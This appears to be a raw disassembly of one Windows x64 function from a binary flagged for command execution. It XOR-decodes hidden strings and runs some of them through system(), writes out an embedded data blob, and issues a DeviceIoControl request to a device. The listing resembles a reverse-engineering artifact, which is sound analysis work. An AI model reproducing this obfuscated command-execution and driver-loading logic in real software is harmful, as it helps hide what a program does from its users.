Function at 0x140002da0
Capabilities:
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x810
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a1080]
xor rax, rsp
mov qword [rbp + 0x7a0], rax
xor esi, esi
call fcn.140002a20
movabs r12, 0xc90d4392c5ab449b
mov qword [rbp + 0x620], r12
movabs r15, 0x1ff8559ff50ac27c
mov qword [rbp + 0x628], r15
movabs r14, 0xc90d4392c5d828f8
mov qword [rbp + 0x5e0], r14
mov qword [rbp + 0x5e8], r15
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x600]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140002960]
lea rcx, [rbp + 0x3c8]
call fcn.140006f00
nop
lea rcx, [rbp + 0x3c8]
call fcn.140001df0
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x628], r15
movabs rax, 0xa76427f3aac76491
mov qword [rbp + 0x5e0], rax
movabs rax, 0x1ff85fbfdb24ec1b
mov qword [rbp + 0x5e8], rax
movdqa xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x600], xmm0
mov ecx, listen
call fcn.14000d790
lea rcx, [rbp + 0x600]
call fcn.14000bc60
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.14000d790
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], r15
movabs rdi, 0x6b2ae914edc1d6e5
mov qword [rbp + 0x610], rdi
movabs rbx, 0x41cd2299ee3a63a6
mov qword [rbp + 0x618], rbx
movabs rax, 0xad6421fbaed86491
mov qword [rbp], rax
movabs rax, 0x719775ef9c78ec15
mov qword [rbp + 8], rax
movabs rax, 0x6b20c9359daea2c5
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rbx
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x620], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x630], xmm1
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm0, ymm0, ymmword [rbp + 0x620]
vmovdqa ymmword [rbp + 0x620], ymm0
mov ecx, listen
vzeroupper
call fcn.14000d790
lea rcx, [rbp + 0x620]
call fcn.14000bc60
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.14000d790
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x5dc
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov dword [rbp + 0x3c0], esi
lea rdx, [0x14008a3d1]
lea rcx, [rbp + 0x3d8]
call fcn.1400058f0
nop
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x628], r15
movabs rax, 0xe76877a4b2dd35f2
mov qword [rbp + 0x5e0], rax
movabs rax, 0x1ff8559ff579bb0f
mov qword [rbp + 0x5e8], rax
movdqa xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x600], xmm0
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x560]
call fcn.1400058f0
nop
lea rcx, [rbp + 0x560]
call fcn.14000cb60
nop
lea rcx, [rbp + 0x560]
call fcn.140005780
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rdi
mov qword [rbp + 0x538], rbx
movabs rax, 0xfdecc2b6c250abef
mov qword [rbp + 0x540], rax
movabs r13, 0x3cbd2203d7333cc0
mov qword [rbp + 0x548], r13
movabs rax, 0x6b419786530afa9
mov qword [rbp + 0x550], rax
movabs rax, 0x253de3ad8e7d732a
mov qword [rbp + 0x558], rax
movabs rax, 0xe62d25bde5c721ff
mov qword [rbp + 0x560], rax
movabs rax, 0x7a8b00c3cf49e20d
mov qword [rbp + 0x568], rax
movabs rax, 0x194f9a61c89da597
mov qword [rbp + 0x570], rax
movabs rax, 0x318c7ebc8b5702c8
mov qword [rbp + 0x578], rax
movabs rax, 0x92a09ed7b631ef9f
mov qword [rbp + 0x580], rax
movabs rax, 0x4cd047578b5f5da3
mov qword [rbp + 0x588], rax
movabs rax, 0x63802f0f1341c6f5
mov qword [rbp + 0x590], rax
movabs rax, 0x253de3adfd040004
mov qword [rbp + 0x598], rax
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x70], xmm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x60], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x5e0], r12
mov qword [rbp + 0x5e8], r15
mov qword [rbp + 0x620], r14
mov qword [rbp + 0x628], r15
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x600]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x400]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], r15
mov qword [rbp + 0x610], rdi
mov qword [rbp + 0x618], rbx
movabs r14, 0xa6692dfb92f77ed8
mov qword [rbp], r14
movabs rsi, 0x6c8c3bf0b356b10b
mov qword [rbp + 8], rsi
movabs rdi, 0x1d58ad7a89a29ab9
mov qword [rbp + 0x10], rdi
movabs rbx, 0x41cd22999d431088
mov qword [rbp + 0x18], rbx
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x50], xmm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x40], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x400]
vzeroupper
call fcn.140005520
nop
mov r8d, 0x3900
lea rdx, [0x1400a1110]
lea rcx, [rbp + 0x400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x400]
call fcn.140005420
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], r15
movabs rax, 0x6b2ae914edc1d6e5
mov qword [rbp + 0x610], rax
movabs rax, 0x41cd2299ee3a63a6
mov qword [rbp + 0x618], rax
mov qword [rbp], r14
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rbx
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x620], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x630], xmm1
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x620], ymm1
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x560]
vzeroupper
call fcn.1400058f0
nop
lea rcx, [rbp + 0x560]
call fcn.14000c550
movzx ebx, al
lea rcx, [rbp + 0x560]
call fcn.140005780
movabs rdx, 0x1a11000a986664c3
movabs rcx, 0x9fc06925148ec032
movabs r8, 0x1b7a26378e4f66e4
movabs r9, 0x40647a0ccda3f46d
movabs r10, 0x3b618b1116a68fce
movabs r11, 0x9b495c0e44a2bcf7
movabs rsi, 0x6b2ae914edc1d6e5
movabs rdi, 0x41cd2299ee3a63a6
movabs r14, 0xfdecc2b6c250abef
test bl, bl
jne 0x1400035a6
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], r15
mov qword [rbp + 0x570], rsi
mov qword [rbp + 0x578], rdi
mov qword [rbp + 0x580], r14
mov qword [rbp + 0x588], r13
movabs rax, 0x6b419786530afa9
mov qword [rbp + 0x590], rax
movabs rax, 0x253de3ad8e7d732a
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x5a0], rdx
mov qword [rbp + 0x5a8], r8
mov qword [rbp + 0x5b0], r9
mov qword [rbp + 0x5b8], r10
mov qword [rbp + 0x5c0], r11
movabs rax, 0xa1edef5bc76b3128
mov qword [rbp + 0x5c8], rax
movabs rax, 0x3a31e8b0138f4431
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 0x5d8], rcx
movabs rax, 0xac7b2ae0818b6491
mov qword [rbp + 0x80], rax
movabs rax, 0x6d9414bf8643e20e
mov qword [rbp + 0x88], rax
movabs rax, 0x1e45a43494a5b780
mov qword [rbp + 0x90], rax
movabs rax, 0x338202b58a5f17c8
mov qword [rbp + 0x98], rax
movabs rax, 0xabade2c4b73ff2cf
mov qword [rbp + 0xa0], rax
movabs rax, 0x5fd24e61f74055e0
mov qword [rbp + 0xa8], rax
movabs rax, 0x60fd3956025ec6c2
mov qword [rbp + 0xb0], rax
movabs rax, 0x5654c3dee715070a
mov qword [rbp + 0xb8], rax
movabs rax, 0x68646f73b81243ad
mov qword [rbp + 0xc0], rax
movabs rax, 0x685a5244fc2600c4
mov qword [rbp + 0xc8], rax
movabs rax, 0x2c145a20b9d19519
mov qword [rbp + 0xd0], rax
movabs rax, 0x4e0ef23173d5eeab
mov qword [rbp + 0xd8], rax
movabs rax, 0xf22d7c7a37d7d1d7
mov qword [rbp + 0xe0], rax
movabs rax, 0xf7accf3eab09505b
mov qword [rbp + 0xe8], rax
movabs rax, 0x3a31e8b0138f443b
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0xe0], ymm1
mov ecx, listen
vzeroupper
call fcn.14000d790
lea rcx, [rbp + 0x80]
call fcn.14000bc60
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.14000d790
call fcn.1400070a0
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140004537
mov rcx, rax
call fcn.140009960
test rax, rax
jne 0x14000377c
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0x6b419786530afa9
mov qword [rbp + 0x550], rax
movabs rcx, 0x253de3ad8e7d732a
mov qword [rbp + 0x558], rcx
movabs rax, 0xac612af3838b6491
mov qword [rbp + 0x560], rax
movabs rax, 0x6f9938bf9a7ee218
mov qword [rbp + 0x568], rax
movabs rax, 0x47588c6284b3b2c5
mov qword [rbp + 0x570], rax
movabs rax, 0x28b902f78b4a0c86
mov qword [rbp + 0x578], rax
movabs rax, 0xdd82ab96b635c08c
mov qword [rbp + 0x580], rax
movabs rax, 0x1dd4466ab55a57b3
mov qword [rbp + 0x588], rax
movabs rax, 0x6b419786530a589
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], rcx
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x30], xmm1
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x20], ymm1
mov ecx, listen
vzeroupper
call fcn.14000d790
lea rcx, [rbp]
call fcn.14000bc60
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.14000d790
mov rcx, rbx
call fcn.140007530
nop
lea rcx, [rbp + 0x4a8]
call fcn.140005460
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3d8]
call fcn.140005780
nop
cmp dword [rbp + 0x3d0], 0
je 0x140003747
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x7a0]
xor rcx, rsp
call fcn.140076fa0
lea r11, [rsp + 0x810]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rbx
call fcn.140007530
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0xc95143bcc5f744c7
mov qword [rbp + 0x560], rax
movabs rax, 0x1f8b55e6f562c22c
mov qword [rbp + 0x568], rax
movabs rax, 0x6b46e975eda2d68c
mov qword [rbp + 0x570], rax
movabs rax, 0x41bb22f0ee4863e2
mov qword [rbp + 0x578], rax
movabs rax, 0xfdecc2b6c260ab8a
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], r13
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x580]
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0xa0], xmm2
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x10000000
mov r8d, 3
lea rcx, [rbp + 0x80]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rbp + 0x5e0], rax
cmp rax, 0xffffffffffffffff
jne 0x140003aab
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0xbb4863fea4df25dd
mov qword [rbp + 0x560], rax
movabs rax, 0x6f9775b3d578ad0e
mov qword [rbp + 0x568], rax
movabs rax, 0xe418a7d99e1b880
mov qword [rbp + 0x570], rax
movabs rax, 0x28a651b9805343d2
mov qword [rbp + 0x578], rax
movabs rax, 0xfdecc297ab34c28d
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], r13
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x580]
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0xa0], xmm2
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rdx, 0x6b419786530afa9
mov qword [rbp + 0x550], rdx
movabs rcx, 0x253de3ad8e7d732a
mov qword [rbp + 0x558], rcx
movabs rax, 0xa07f27b2aed82dff
mov qword [rbp + 0x560], rax
movabs rax, 0x7b9634f7d578a70a
mov qword [rbp + 0x568], rax
movabs rax, 0x74b9f7a84e1b389
mov qword [rbp + 0x570], rax
movabs rax, 0x61a357ebce1407cf
mov qword [rbp + 0x578], rax
movabs rax, 0x9385afd2a370d88e
mov qword [rbp + 0x580], rax
movabs rax, 0x4ed25662a5474fa9
mov qword [rbp + 0x588], rax
mov qword [rbp + 0x590], rdx
mov qword [rbp + 0x598], rcx
vmovups xmm0, xmmword [rbp + 0x560]
vmovaps xmmword [rbp + 0x40], xmm0
vmovups xmm1, xmmword [rbp + 0x570]
vmovaps xmmword [rbp + 0x50], xmm1
vmovups xmm0, xmmword [rbp + 0x580]
vmovaps xmmword [rbp + 0x60], xmm0
vmovups xmm1, xmmword [rbp + 0x590]
vmovaps xmmword [rbp + 0x70], xmm1
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x60], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x14008a460]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x224cdc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movabs rbx, 0x253de3ad8e7d732a
movabs r11, 0x1f0ffc4986cf7636
movabs r10, 0x482043c4eecc3c75
movabs r9, 0xfe2ae4cfa231df0c
movabs r8, 0x7c91554269b332ab
movabs rdx, 0xa6494ff159b4f0ee
movabs rcx, 0x88694e6ce6c6408d
nop
mov qword [rbp + 0x640], r12
mov qword [rbp + 0x648], r15
mov qword [rbp + 0x650], rsi
mov qword [rbp + 0x658], rdi
mov qword [rbp + 0x660], r14
mov qword [rbp + 0x668], r13
movabs rax, 0x6b419786530afa9
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x678], rbx
movabs rax, 0x1a11000a986664c3
mov qword [rbp + 0x680], rax
movabs rax, 0x1b7a26378e4f66e4
mov qword [rbp + 0x688], rax
movabs rax, 0x40647a0ccda3f46d
mov qword [rbp + 0x690], rax
movabs rax, 0x3b618b1116a68fce
mov qword [rbp + 0x698], rax
movabs rax, 0x9b495c0e44a2bcf7
mov qword [rbp + 0x6a0], rax
movabs rax, 0xa1edef5bc76b3128
mov qword [rbp + 0x6a8], rax
movabs rax, 0x3a31e8b0138f4431
mov qword [rbp + 0x6b0], rax
movabs rax, 0x9fc06925148ec032
mov qword [rbp + 0x6b8], rax
mov qword [rbp + 0x6c0], r8
mov qword [rbp + 0x6c8], r9
mov qword [rbp + 0x6d0], r10
mov qword [rbp + 0x6d8], r11
movabs rax, 0x8d1c6166012df67f
mov qword [rbp + 0x6e0], rax
movabs rax, 0x660bc333833ded0
mov qword [rbp + 0x6e8], rax
movabs rax, 0x379ad4a88ae46239
mov qword [rbp + 0x6f0], rax
movabs rax, 0x8834515d75733c3a
mov qword [rbp + 0x6f8], rax
movabs rax, 0xf753d9ba65304d53
mov qword [rbp + 0x700], rax
movabs rax, 0xcdc10367d9910074
mov qword [rbp + 0x708], rax
movabs rax, 0xf2ab573ca6e245fd
mov qword [rbp + 0x710], rax
movabs rax, 0x4352e241a3c5fbde
mov qword [rbp + 0x718], rax
movabs rax, 0x53ea43be572dbc07
mov qword [rbp + 0x720], rax
movabs rax, 0x5434cc8b6fb879b8
mov qword [rbp + 0x728], rax
movabs rax, 0xec78c5e089ccda41
mov qword [rbp + 0x730], rax
movabs rax, 0x52074655adaf46c2
mov qword [rbp + 0x738], rax
movabs rax, 0xbca4d272927b213b
mov qword [rbp + 0x740], rax
movabs rax, 0x4ec763ff3987521c
mov qword [rbp + 0x748], rax
movabs rax, 0xc164a7f4bd186305
mov qword [rbp + 0x750], rax
movabs rax, 0x820669f93cbe6b46
mov qword [rbp + 0x758], rax
movabs rax, 0x5582c71614140c8f
mov qword [rbp + 0x760], rax
movabs rax, 0x56fd3b6332ce4660
mov qword [rbp + 0x768], rax
movabs rax, 0xdeae7d84e603a49
mov qword [rbp + 0x770], rax
movabs rax, 0x509ab70dfbb2f7ca
mov qword [rbp + 0x778], rax
movabs rax, 0x70983dea61561b63
mov qword [rbp + 0x780], rax
movabs rax, 0x16047b97a487c104
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x790], rcx
mov qword [rbp + 0x798], rdx
movabs rax, 0x32250e68d16046cb
mov qword [rbp + 0x148], rax
movabs rax, 0x693b522cedfcdb4d
mov qword [rbp + 0x150], rax
movabs rax, 0x123ea33139f9d091
mov qword [rbp + 0x158], rax
movabs rax, 0xc46103511bfde3d7
mov qword [rbp + 0x160], rax
movabs rax, 0x81cde57b98346e01
mov qword [rbp + 0x168], rax
movabs rax, 0x1511c7ef4cd0641e
mov qword [rbp + 0x170], rax
movabs rax, 0xc09f490a34a19f1d
mov qword [rbp + 0x178], rax
movabs rax, 0x23ce756d499c6e8b
mov qword [rbp + 0x180], rax
movabs rax, 0xde05c4e0821eff2c
mov qword [rbp + 0x188], rax
movabs rax, 0x17006ce4c193632a
mov qword [rbp + 0x190], rax
movabs rax, 0x4050d4698c935669
mov qword [rbp + 0x198], rax
movabs rax, 0xa23c5d4a2104d65f
mov qword [rbp + 0x1a0], rax
movabs rax, 0x2940936c1713f1f0
mov qword [rbp + 0x1a8], rax
movabs rax, 0x18bafbf7a5c44d19
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa8147e7d5a53131a
mov qword [rbp + 0x1b8], rax
movabs rax, 0xd77c8695451f6d7c
mov qword [rbp + 0x1c0], rax
movabs rax, 0xe29e5c3886be0a5b
mov qword [rbp + 0x1c8], rax
movabs rax, 0xad840813f99e6aa2
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1f7dbd6efc9aa4f0
mov qword [rbp + 0x1d8], rax
movabs rax, 0xcc21c910801e358
mov qword [rbp + 0x1e0], rax
movabs rax, 0x7b6be3ab4f972691
mov qword [rbp + 0x1e8], rax
movabs rax, 0xe658eabfd693f461
mov qword [rbp + 0x1f0], rax
movabs rax, 0x722766758d8f66e2
mov qword [rbp + 0x1f8], rax
movabs rax, 0x9c84f252b25b011b
mov qword [rbp + 0x200], rax
movabs rax, 0x6ee743df19a7723c
mov qword [rbp + 0x208], rax
movabs rax, 0xe14487d49d384325
mov qword [rbp + 0x210], rax
movabs rax, 0xa22936d61c9e4b66
mov qword [rbp + 0x218], rax
movabs rax, 0x5f88cd3634342caf
mov qword [rbp + 0x220], rax
movabs rax, 0x76dd1b4312ee6640
mov qword [rbp + 0x228], rax
movabs rax, 0x2dcac7f86e401a69
mov qword [rbp + 0x230], rax
movabs rax, 0x70ba972ddb92d7ea
mov qword [rbp + 0x238], rax
movabs rax, 0x50b81dca41763b43
mov qword [rbp + 0x240], rax
movabs rax, 0x1c245bb784a7e124
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x258], rdx
movabs rax, 0xe92d63b2e58b6491
mov qword [rbp + 0x260], rax
movabs rax, 0x3fd875bfd52ae25c
mov qword [rbp + 0x268], rax
movabs rax, 0x4b0ac934cde1dcc5
mov qword [rbp + 0x270], rax
movabs rax, 0x61ed02c6b11a4386
mov qword [rbp + 0x278], rax
movabs rax, 0xddcce2969d0f8bb0
mov qword [rbp + 0x280], rax
movabs rax, 0x63e20223f7131c9f
mov qword [rbp + 0x288], rax
movabs rax, 0x2694395845108ff6
mov qword [rbp + 0x290], rax
movabs rax, 0x2f1dc38dae5d2c0a
mov qword [rbp + 0x298], rax
movabs rax, 0x454e5f55c74644e3
mov qword [rbp + 0x2a0], rax
lea rdx, [rbp + 0x2a8]
lea rax, [rbp + 0x148]
mov ecx, 2
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140004090
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
mov rcx, qword [rax + 0x10]
mov qword [rdx + 0x10], rcx
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x2e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x320], ymm1
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x340], ymm1
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x380], ymm1
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
lea rdx, [rbp + 0x260]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140006290
mov rcx, rax
mov dl, 0xa
call fcn.140006470
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
movabs rax, 0x9b2d1ea39e8b6491
mov qword [rbp], rax
movabs rax, 0x7a823cf29a6eac1d
mov qword [rbp + 8], rax
movabs rax, 0x1846887d9fa485c5
mov qword [rbp + 0x10], rax
movabs rax, 0x41cd2299ee3a63ac
mov qword [rbp + 0x18], rax
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x560], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x570], xmm1
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x560], ymm1
lea rcx, [rbp + 0x560]
vzeroupper
call fcn.14000d800
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x3c4], 0
lea rdx, [rbp + 0x3c4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x3c4], 1
je 0x140004324
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], r15
